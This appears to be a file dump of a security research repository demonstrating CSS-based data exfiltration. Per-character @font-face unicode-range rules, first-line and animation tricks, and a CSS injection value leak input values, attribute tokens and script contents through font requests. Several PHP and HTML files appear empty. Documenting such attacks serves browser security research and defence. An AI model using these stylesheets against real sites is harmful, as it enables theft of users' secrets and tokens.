├── test-css-selector-not.html
├── styles.css
├── .DS_Store
├── font.woff2
├── inject.css
├── css-fuzzing
├── red.png
├── fuzz.php
└── index.php
├── steal-script-contents
├── .DS_Store
├── styles.css
├── test.html
├── steal-numbers.css
├── steal-lowercase.css
└── steal-uppercase.css
├── README.md
├── font.php
├── steal-attribute-values
├── styles.css
├── test.html
└── steal-uppercase.css
├── steal-attribute-values-checkboxes
├── styles.css
├── test.html
└── steal-uppercase.css
├── test-inject-css.html
├── delayed.php
├── detect-scroll-without-html
├── test.html
└── styles.css
├── first-line-overflow-single-letter
├── test.html
└── styles.css
├── test.html
├── steal-n-characters-safari
├── styles.css
├── test.html
└── steal-uppercase.css
├── steal-first-line-safari
├── test.html
├── styles.css
└── steal-uppercase.css
├── steal-reversed-firefox
├── test.html
├── styles.css
└── steal-lowercase.css
├── steal-n-characters-firefox
├── test.html
├── styles.css
└── steal-lowercase.css
├── steal-second-letter-safari
├── test.html
├── styles.css
└── steal-uppercase.css
├── test-filter-add.html
├── detect-scroll
├── styles.css
└── test.html
├── steal-numbers.css
├── steal-lowercase.css
├── steal-special-characters.css
├── style.php
├── steal-uppercase.css
└── inject-filter
└── test.css
/test-css-selector-not.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/styles.css:
--------------------------------------------------------------------------------
1 | input {
2 | font-family: steal;
3 | }
4 |
--------------------------------------------------------------------------------
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/.DS_Store
--------------------------------------------------------------------------------
/font.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/font.woff2
--------------------------------------------------------------------------------
/inject.css:
--------------------------------------------------------------------------------
1 | ##input[value="123" /*/]
2 | ##input[value="123*/]{}body{background-color: red;}"]
--------------------------------------------------------------------------------
/css-fuzzing/red.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/css-fuzzing/red.png
--------------------------------------------------------------------------------
/steal-script-contents/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PortSwigger/css-exfiltration/HEAD/steal-script-contents/.DS_Store
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CSS exfiltration
2 |
3 | This repo lists all CSS based exfiltration techniques mentioned in the PortSwigger post.
4 |
--------------------------------------------------------------------------------
/steal-script-contents/styles.css:
--------------------------------------------------------------------------------
1 | script {
2 | display:block;
3 | }
4 |
5 | script {
6 | font-family:steal;
7 | color:red;
8 | }
9 |
--------------------------------------------------------------------------------
/font.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/steal-attribute-values/styles.css:
--------------------------------------------------------------------------------
1 | div {
2 | font-family: steal;
3 | }
4 | div:after {
5 | content: attr(data-token);
6 | background-color: green;
7 | text-transform: uppercase;
8 | }
9 |
--------------------------------------------------------------------------------
/steal-attribute-values-checkboxes/styles.css:
--------------------------------------------------------------------------------
1 | input {
2 | font-family: steal;
3 | }
4 | input:after {
5 | content: attr(value);
6 | background-color: green;
7 | text-transform: uppercase;
8 | }
9 |
--------------------------------------------------------------------------------
/test-inject-css.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Test injection
5 |
6 |
7 | This should be hidden
8 |
9 |
--------------------------------------------------------------------------------
/delayed.php:
--------------------------------------------------------------------------------
1 |
5 | div::first-line {
6 | word-spacing: 200ch;
7 | text-transform: uppercase;
8 | font-style: italic;
9 | font-size: 100px;
10 | }
11 |
--------------------------------------------------------------------------------
/detect-scroll-without-html/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/first-line-overflow-single-letter/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 | tester atest
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/steal-n-characters-safari/styles.css:
--------------------------------------------------------------------------------
1 | div {
2 | width: 3ch;
3 | word-wrap: break-word;
4 | word-break: break-all;
5 | overflow-wrap: break-word;
6 | text-transform: uppercase;
7 | }
8 |
9 | div::first-line {
10 | background-color: green;
11 | font-family: steal;
12 | }
--------------------------------------------------------------------------------
/steal-attribute-values/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 | test
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/steal-first-line-safari/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 | tester blah
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/steal-reversed-firefox/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 | some secret text
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/steal-n-characters-firefox/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 | some secret text
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/steal-n-characters-safari/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 | some secret text
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/steal-second-letter-safari/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 | some secret text
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/steal-n-characters-firefox/styles.css:
--------------------------------------------------------------------------------
1 | div {
2 | width: 7ch;
3 | word-wrap: break-word;
4 | word-break: break-all;
5 | overflow-wrap: break-word;
6 | text-transform: lowercase;
7 | font-family: steal;
8 | }
9 |
10 | div::first-line {
11 | background-color: green;
12 | text-transform: uppercase;
13 | }
--------------------------------------------------------------------------------
/steal-attribute-values-checkboxes/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/test-filter-add.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Test filter add
5 |
6 |
7 | test
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/steal-script-contents/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/detect-scroll/styles.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/font.php?A");
3 | unicode-range: U+0041;
4 | font-family: steal-a-2;
5 | }
6 |
7 | @font-face {
8 | src: url("/font.php?a");
9 | unicode-range: U+0061;
10 | font-family: steal-a-1;
11 | }
12 |
13 | input {
14 | content-visibility: auto;
15 | font-family: steal-a-1, steal-a-2;
16 | }
17 |
18 |
--------------------------------------------------------------------------------
/steal-first-line-safari/styles.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/font.php?A");
3 | unicode-range: U+0041;
4 | font-family: steal;
5 | font-display: block;
6 | }
7 |
8 | div {
9 | width: 8ch;
10 | word-wrap: break-word;
11 | word-break: break-all;
12 | overflow-wrap: break-word;
13 | text-transform: uppercase;
14 | }
15 |
16 | div::first-line {
17 | font-family: steal;
18 | background-color: green;
19 | }
--------------------------------------------------------------------------------
/first-line-overflow-single-letter/styles.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/font.php?A");
3 | unicode-range: U+0041;
4 | font-family: steal;
5 | font-display: block;
6 | }
7 |
8 | div {
9 | width: 1ch;
10 | word-wrap: break-word;
11 | word-break: break-all;
12 | overflow-wrap: break-word;
13 | }
14 |
15 | div::first-line {
16 | text-transform: uppercase;
17 | font: 100px steal;
18 | background-color: green;
19 | }
--------------------------------------------------------------------------------
/steal-reversed-firefox/styles.css:
--------------------------------------------------------------------------------
1 | div {
2 | width: 20ch;
3 | word-wrap: break-word;
4 | word-break: break-all;
5 | overflow-wrap: break-word;
6 | text-transform: lowercase;
7 | font-family: steal;
8 | animation-name: steal-reversed;
9 | animation-iteration-count: 1;
10 | animation-fill-mode: forwards;
11 | animation-duration: 5s;
12 | }
13 |
14 | div::first-line {
15 | background-color: green;
16 | text-transform: uppercase;
17 | }
18 |
19 | @keyframes steal-reversed {
20 | from {
21 | width:20ch;
22 | }
23 | to {
24 | width: 1ch;
25 | }
26 | }
--------------------------------------------------------------------------------
/detect-scroll-without-html/styles.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/font.php?A");
3 | unicode-range: U+0041;
4 | font-family: steal-a-2;
5 | }
6 |
7 | @font-face {
8 | src: url("/font.php?a");
9 | unicode-range: U+0061;
10 | font-family: steal-a-1;
11 | }
12 |
13 | input {
14 | position: absolute;
15 | top: 5000px;
16 | content-visibility: auto;
17 | animation-duration: 1s;
18 | animation-iteration-count: 1;
19 | animation-fill-mode: forwards;
20 | animation-name: detect;
21 | background-color: black;
22 |
23 | }
24 |
25 | @keyframes detect {
26 | from {
27 | background-color: black;
28 | }
29 | to {
30 | font-family: steal-a-1;
31 | background-color: red;
32 | }
33 | }
--------------------------------------------------------------------------------
/steal-second-letter-safari/styles.css:
--------------------------------------------------------------------------------
1 | div {
2 | width: 1ch;
3 | word-wrap: break-word;
4 | word-break: break-all;
5 | overflow-wrap: break-word;
6 | text-transform: uppercase;
7 | xanimation: steal 20s;
8 | animation-fill-mode: forwards;
9 | animation-iteration-count: 1;
10 | width: 2ch;
11 | }
12 |
13 | div::first-line {
14 | font-family: steal;
15 | background-color: green;
16 | }
17 |
18 | div::first-letter {
19 | text-transform: lowercase;
20 | }
21 |
22 | @keyframes steal {
23 | 0% {
24 | width: 2ch;
25 | }
26 | 1% {
27 | width: 3ch;
28 | }
29 | 2% {
30 | width: 4ch;
31 | }
32 | 3% {
33 | width: 5ch;
34 | }
35 | 4% {
36 | width: 6ch;
37 | }
38 | 5% {
39 | width: 7ch;
40 | }
41 | 6% {
42 | width: 8ch;
43 | }
44 | 100% {
45 | width: 8ch;
46 | }
47 | }
--------------------------------------------------------------------------------
/detect-scroll/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | CSS exfiltration
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/steal-numbers.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/0");
4 | unicode-range: U+0030;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/1");
10 | unicode-range: U+0031;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/2");
16 | unicode-range: U+0032;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/3");
22 | unicode-range: U+0033;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/4");
28 | unicode-range: U+0034;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/5");
34 | unicode-range: U+0035;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/6");
40 | unicode-range: U+0036;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/7");
46 | unicode-range: U+0037;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/8");
52 | unicode-range: U+0038;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/9");
58 | unicode-range: U+0039;
59 | font-family: steal;
60 | }
61 |
--------------------------------------------------------------------------------
/steal-script-contents/steal-numbers.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/0");
4 | unicode-range: U+0030;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/1");
10 | unicode-range: U+0031;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/2");
16 | unicode-range: U+0032;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/3");
22 | unicode-range: U+0033;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/4");
28 | unicode-range: U+0034;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/5");
34 | unicode-range: U+0035;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/6");
40 | unicode-range: U+0036;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/7");
46 | unicode-range: U+0037;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/8");
52 | unicode-range: U+0038;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/9");
58 | unicode-range: U+0039;
59 | font-family: steal;
60 | }
61 |
--------------------------------------------------------------------------------
/css-fuzzing/fuzz.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
19 |
20 |
25 |
37 |
38 |
39 |
40 | Back | Auto | Start | Reset | Next
41 |
42 | 0x10ffff){
45 | break;
46 | }
47 | ?>
48 |
49 | =$i?>
50 |
53 |
54 |
--------------------------------------------------------------------------------
/steal-script-contents/steal-lowercase.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/a");
3 | unicode-range: U+0061;
4 | font-family: steal;
5 | }
6 | @font-face {
7 | src: url("/b");
8 | unicode-range: U+0062;
9 | font-family: steal;
10 | }
11 | @font-face {
12 | src: url("/c");
13 | unicode-range: U+0063;
14 | font-family: steal;
15 | }
16 | @font-face {
17 | src: url("/d");
18 | unicode-range: U+0064;
19 | font-family: steal;
20 | }
21 | @font-face {
22 | src: url("/e");
23 | unicode-range: U+0065;
24 | font-family: steal;
25 | }
26 | @font-face {
27 | src: url("/f");
28 | unicode-range: U+0066;
29 | font-family: steal;
30 | }
31 | @font-face {
32 | src: url("/g");
33 | unicode-range: U+0067;
34 | font-family: steal;
35 | }
36 | @font-face {
37 | src: url("/h");
38 | unicode-range: U+0068;
39 | font-family: steal;
40 | }
41 | @font-face {
42 | src: url("/i");
43 | unicode-range: U+0069;
44 | font-family: steal;
45 | }
46 | @font-face {
47 | src: url("/j");
48 | unicode-range: U+006a;
49 | font-family: steal;
50 | }
51 | @font-face {
52 | src: url("/k");
53 | unicode-range: U+006b;
54 | font-family: steal;
55 | }
56 | @font-face {
57 | src: url("/l");
58 | unicode-range: U+006c;
59 | font-family: steal;
60 | }
61 | @font-face {
62 | src: url("/m");
63 | unicode-range: U+006d;
64 | font-family: steal;
65 | }
66 | @font-face {
67 | src: url("/n");
68 | unicode-range: U+006e;
69 | font-family: steal;
70 | }
71 | @font-face {
72 | src: url("/o");
73 | unicode-range: U+006f;
74 | font-family: steal;
75 | }
76 | @font-face {
77 | src: url("/p");
78 | unicode-range: U+0070;
79 | font-family: steal;
80 | }
81 | @font-face {
82 | src: url("/q");
83 | unicode-range: U+0071;
84 | font-family: steal;
85 | }
86 | @font-face {
87 | src: url("/r");
88 | unicode-range: U+0072;
89 | font-family: steal;
90 | }
91 | @font-face {
92 | src: url("/s");
93 | unicode-range: U+0073;
94 | font-family: steal;
95 | }
96 | @font-face {
97 | src: url("/t");
98 | unicode-range: U+0074;
99 | font-family: steal;
100 | }
101 | @font-face {
102 | src: url("/u");
103 | unicode-range: U+0075;
104 | font-family: steal;
105 | }
106 | @font-face {
107 | src: url("/v");
108 | unicode-range: U+0076;
109 | font-family: steal;
110 | }
111 | @font-face {
112 | src: url("/w");
113 | unicode-range: U+0077;
114 | font-family: steal;
115 | }
116 | @font-face {
117 | src: url("/x");
118 | unicode-range: U+0078;
119 | font-family: steal;
120 | }
121 | @font-face {
122 | src: url("/y");
123 | unicode-range: U+0079;
124 | font-family: steal;
125 | }
126 | @font-face {
127 | src: url("/z");
128 | unicode-range: U+007a;
129 | font-family: steal;
130 | }
--------------------------------------------------------------------------------
/steal-lowercase.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/a");
3 | unicode-range: U+0061;
4 | font-family: steal;
5 | }
6 | @font-face {
7 | src: url("/b");
8 | unicode-range: U+0062;
9 | font-family: steal;
10 | }
11 | @font-face {
12 | src: url("/c");
13 | unicode-range: U+0063;
14 | font-family: steal;
15 | }
16 | @font-face {
17 | src: url("/d");
18 | unicode-range: U+0064;
19 | font-family: steal;
20 | }
21 | @font-face {
22 | src: url("/e");
23 | unicode-range: U+0065;
24 | font-family: steal;
25 | }
26 | @font-face {
27 | src: url("/f");
28 | unicode-range: U+0066;
29 | font-family: steal;
30 | }
31 | @font-face {
32 | src: url("/g");
33 | unicode-range: U+0067;
34 | font-family: steal;
35 | }
36 | @font-face {
37 | src: url("/h");
38 | unicode-range: U+0068;
39 | font-family: steal;
40 | }
41 | @font-face {
42 | src: url("/i");
43 | unicode-range: U+0069;
44 | font-family: steal;
45 | }
46 | @font-face {
47 | src: url("/j");
48 | unicode-range: U+006a;
49 | font-family: steal;
50 | }
51 | @font-face {
52 | src: url("/k");
53 | unicode-range: U+006b;
54 | font-family: steal;
55 | }
56 | @font-face {
57 | src: url("/l");
58 | unicode-range: U+006c;
59 | font-family: steal;
60 | }
61 | @font-face {
62 | src: url("/m");
63 | unicode-range: U+006d;
64 | font-family: steal;
65 | }
66 | @font-face {
67 | src: url("/n");
68 | unicode-range: U+006e;
69 | font-family: steal;
70 | }
71 | @font-face {
72 | src: url("/o");
73 | unicode-range: U+006f;
74 | font-family: steal;
75 | }
76 | @font-face {
77 | src: url("/p");
78 | unicode-range: U+0070;
79 | font-family: steal;
80 | }
81 | @font-face {
82 | src: url("/q");
83 | unicode-range: U+0071;
84 | font-family: steal;
85 | }
86 | @font-face {
87 | src: url("/r");
88 | unicode-range: U+0072;
89 | font-family: steal;
90 | }
91 | @font-face {
92 | src: url("/s");
93 | unicode-range: U+0073;
94 | font-family: steal;
95 | }
96 | @font-face {
97 | src: url("/t");
98 | unicode-range: U+0074;
99 | font-family: steal;
100 | }
101 | @font-face {
102 | src: url("/u");
103 | unicode-range: U+0075;
104 | font-family: steal;
105 | }
106 | @font-face {
107 | src: url("/v");
108 | unicode-range: U+0076;
109 | font-family: steal;
110 | }
111 | @font-face {
112 | src: url("/w");
113 | unicode-range: U+0077;
114 | font-family: steal;
115 | }
116 | @font-face {
117 | src: url("/x");
118 | unicode-range: U+0078;
119 | font-family: steal;
120 | }
121 | @font-face {
122 | src: url("/y");
123 | unicode-range: U+0079;
124 | font-family: steal;
125 | }
126 | @font-face {
127 | src: url("/z");
128 | unicode-range: U+007a;
129 | font-family: steal;
130 | }
131 |
--------------------------------------------------------------------------------
/steal-reversed-firefox/steal-lowercase.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/a");
3 | unicode-range: U+0061;
4 | font-family: steal;
5 | }
6 | @font-face {
7 | src: url("/b");
8 | unicode-range: U+0062;
9 | font-family: steal;
10 | }
11 | @font-face {
12 | src: url("/c");
13 | unicode-range: U+0063;
14 | font-family: steal;
15 | }
16 | @font-face {
17 | src: url("/d");
18 | unicode-range: U+0064;
19 | font-family: steal;
20 | }
21 | @font-face {
22 | src: url("/e");
23 | unicode-range: U+0065;
24 | font-family: steal;
25 | }
26 | @font-face {
27 | src: url("/f");
28 | unicode-range: U+0066;
29 | font-family: steal;
30 | }
31 | @font-face {
32 | src: url("/g");
33 | unicode-range: U+0067;
34 | font-family: steal;
35 | }
36 | @font-face {
37 | src: url("/h");
38 | unicode-range: U+0068;
39 | font-family: steal;
40 | }
41 | @font-face {
42 | src: url("/i");
43 | unicode-range: U+0069;
44 | font-family: steal;
45 | }
46 | @font-face {
47 | src: url("/j");
48 | unicode-range: U+006a;
49 | font-family: steal;
50 | }
51 | @font-face {
52 | src: url("/k");
53 | unicode-range: U+006b;
54 | font-family: steal;
55 | }
56 | @font-face {
57 | src: url("/l");
58 | unicode-range: U+006c;
59 | font-family: steal;
60 | }
61 | @font-face {
62 | src: url("/m");
63 | unicode-range: U+006d;
64 | font-family: steal;
65 | }
66 | @font-face {
67 | src: url("/n");
68 | unicode-range: U+006e;
69 | font-family: steal;
70 | }
71 | @font-face {
72 | src: url("/o");
73 | unicode-range: U+006f;
74 | font-family: steal;
75 | }
76 | @font-face {
77 | src: url("/p");
78 | unicode-range: U+0070;
79 | font-family: steal;
80 | }
81 | @font-face {
82 | src: url("/q");
83 | unicode-range: U+0071;
84 | font-family: steal;
85 | }
86 | @font-face {
87 | src: url("/r");
88 | unicode-range: U+0072;
89 | font-family: steal;
90 | }
91 | @font-face {
92 | src: url("/s");
93 | unicode-range: U+0073;
94 | font-family: steal;
95 | }
96 | @font-face {
97 | src: url("/t");
98 | unicode-range: U+0074;
99 | font-family: steal;
100 | }
101 | @font-face {
102 | src: url("/u");
103 | unicode-range: U+0075;
104 | font-family: steal;
105 | }
106 | @font-face {
107 | src: url("/v");
108 | unicode-range: U+0076;
109 | font-family: steal;
110 | }
111 | @font-face {
112 | src: url("/w");
113 | unicode-range: U+0077;
114 | font-family: steal;
115 | }
116 | @font-face {
117 | src: url("/x");
118 | unicode-range: U+0078;
119 | font-family: steal;
120 | }
121 | @font-face {
122 | src: url("/y");
123 | unicode-range: U+0079;
124 | font-family: steal;
125 | }
126 | @font-face {
127 | src: url("/z");
128 | unicode-range: U+007a;
129 | font-family: steal;
130 | }
--------------------------------------------------------------------------------
/steal-n-characters-firefox/steal-lowercase.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | src: url("/a");
3 | unicode-range: U+0061;
4 | font-family: steal;
5 | }
6 | @font-face {
7 | src: url("/b");
8 | unicode-range: U+0062;
9 | font-family: steal;
10 | }
11 | @font-face {
12 | src: url("/c");
13 | unicode-range: U+0063;
14 | font-family: steal;
15 | }
16 | @font-face {
17 | src: url("/d");
18 | unicode-range: U+0064;
19 | font-family: steal;
20 | }
21 | @font-face {
22 | src: url("/e");
23 | unicode-range: U+0065;
24 | font-family: steal;
25 | }
26 | @font-face {
27 | src: url("/f");
28 | unicode-range: U+0066;
29 | font-family: steal;
30 | }
31 | @font-face {
32 | src: url("/g");
33 | unicode-range: U+0067;
34 | font-family: steal;
35 | }
36 | @font-face {
37 | src: url("/h");
38 | unicode-range: U+0068;
39 | font-family: steal;
40 | }
41 | @font-face {
42 | src: url("/i");
43 | unicode-range: U+0069;
44 | font-family: steal;
45 | }
46 | @font-face {
47 | src: url("/j");
48 | unicode-range: U+006a;
49 | font-family: steal;
50 | }
51 | @font-face {
52 | src: url("/k");
53 | unicode-range: U+006b;
54 | font-family: steal;
55 | }
56 | @font-face {
57 | src: url("/l");
58 | unicode-range: U+006c;
59 | font-family: steal;
60 | }
61 | @font-face {
62 | src: url("/m");
63 | unicode-range: U+006d;
64 | font-family: steal;
65 | }
66 | @font-face {
67 | src: url("/n");
68 | unicode-range: U+006e;
69 | font-family: steal;
70 | }
71 | @font-face {
72 | src: url("/o");
73 | unicode-range: U+006f;
74 | font-family: steal;
75 | }
76 | @font-face {
77 | src: url("/p");
78 | unicode-range: U+0070;
79 | font-family: steal;
80 | }
81 | @font-face {
82 | src: url("/q");
83 | unicode-range: U+0071;
84 | font-family: steal;
85 | }
86 | @font-face {
87 | src: url("/r");
88 | unicode-range: U+0072;
89 | font-family: steal;
90 | }
91 | @font-face {
92 | src: url("/s");
93 | unicode-range: U+0073;
94 | font-family: steal;
95 | }
96 | @font-face {
97 | src: url("/t");
98 | unicode-range: U+0074;
99 | font-family: steal;
100 | }
101 | @font-face {
102 | src: url("/u");
103 | unicode-range: U+0075;
104 | font-family: steal;
105 | }
106 | @font-face {
107 | src: url("/v");
108 | unicode-range: U+0076;
109 | font-family: steal;
110 | }
111 | @font-face {
112 | src: url("/w");
113 | unicode-range: U+0077;
114 | font-family: steal;
115 | }
116 | @font-face {
117 | src: url("/x");
118 | unicode-range: U+0078;
119 | font-family: steal;
120 | }
121 | @font-face {
122 | src: url("/y");
123 | unicode-range: U+0079;
124 | font-family: steal;
125 | }
126 | @font-face {
127 | src: url("/z");
128 | unicode-range: U+007a;
129 | font-family: steal;
130 | }
--------------------------------------------------------------------------------
/steal-script-contents/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
--------------------------------------------------------------------------------
/css-fuzzing/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
38 |
60 |
61 |
62 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/steal-special-characters.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/!");
4 | unicode-range: U+0021;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/%22");
10 | unicode-range: U+0022;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/%23");
16 | unicode-range: U+0023;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/%24");
22 | unicode-range: U+0024;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/%25");
28 | unicode-range: U+0025;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/%26");
34 | unicode-range: U+0026;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/'");
40 | unicode-range: U+0027;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/(");
46 | unicode-range: U+0028;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/)");
52 | unicode-range: U+0029;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/*");
58 | unicode-range: U+002a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/%2B");
64 | unicode-range: U+002b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/%2C");
70 | unicode-range: U+002c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/-");
76 | unicode-range: U+002d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/.");
82 | unicode-range: U+002e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/%2F");
88 | unicode-range: U+002f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/%3A");
94 | unicode-range: U+003a;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/%3B");
100 | unicode-range: U+003b;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/%3C");
106 | unicode-range: U+003c;
107 | font-family: steal;
